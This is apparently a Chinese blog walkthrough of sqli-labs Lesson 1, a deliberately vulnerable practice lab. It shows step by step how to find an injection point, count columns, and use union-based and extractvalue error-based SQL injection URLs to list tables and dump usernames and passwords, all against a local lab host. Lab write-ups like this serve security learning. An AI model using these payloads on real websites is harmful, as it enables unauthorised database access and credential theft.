sqli-labs-lesson1

搭建环境

phpstudy
配置密码


sqli-labs-lesson1_第1张图片
图片.png

最好在页面加上


sqli-labs-lesson1_第2张图片
图片.png

查看你输入的sql语句
后期可以不用

探测注入点

http://192.168.154.131/sqli/Less-1/?id=1

sqli-labs-lesson1_第3张图片
图片.png

这个页面是正常的

加上单引号


sqli-labs-lesson1_第4张图片

后面的语句需要闭合,但我可以直接注释,使用-- 这个注释前后都需要空格

sqli-labs-lesson1_第5张图片
图片.png

探测当前表有几个字段

使用order by num,当 num <= 字段数时,页面正常显示,否则报错
order by num可以直接跟在 where 判断结束后面

sqli-labs-lesson1_第6张图片
图片.png

sqli-labs-lesson1_第7张图片
图片.png

说明这个表有3个字段

探测回显

使用联合查询union
select 1,2,3会在对应的字段下追加一条记录1,2,3
本来查询结果是一行的,我们想看的是第二行
所以我们要使用limit 1,1从2行开始显示1行

sqli-labs-lesson1_第8张图片
图片.png

sqli-labs-lesson1_第9张图片
图片.png

探测数据库信息

http://192.168.154.131/sqli/Less-1/?id=1' union select 1,version(),database() limit 1,1--

sqli-labs-lesson1_第10张图片
图片.png

version()查看版本
database()查看数据库

查询表

mysql自带的数据库有个 information_schema这里存放的是数据库的信息
information_schema里面有个tables表,里面存放了那个数据库有哪些表
下图显示security数据库有哪些表

sqli-labs-lesson1_第11张图片
图片.png

构造语句
http://192.168.154.131/sqli/Less-1/?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() limit 1,1--
sqli-labs-lesson1_第12张图片
图片.png

group_concat()是数据库的函数,用来拼接查询出来的结果集,
这里查出有很多个表,如果一个个显示的话比较繁琐,使用函数,把他们拼接在一起

查询字段

同样使用information_schema里面的信息
http://192.168.154.131/sqli/Less-1/?id=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' limit 1,1--

sqli-labs-lesson1_第13张图片
图片.png

查询数据

这里就不需要使用information_schema
http://192.168.154.131/sqli/Less-1/?id=1' union select 1,group_concat(username),group_concat(password) from users limit 1,1--

sqli-labs-lesson1_第14张图片
图片.png

基本流程忘了

还可以使用报错注入

concat拼接字符串
extractvalue对XML文档进行查询的函数,第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
http://192.168.154.131/sqli/Less-1/?id=1' and 1=extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database())))--

sqli-labs-lesson1_第15张图片
图片.png

后面的步骤参照前面的
group_concat()有字数限制,查询可以分多次查

部分笔记

完整笔记等通关放出来


sqli-labs-lesson1_第16张图片
图片.png

你可能感兴趣的:(sqli-labs-lesson1)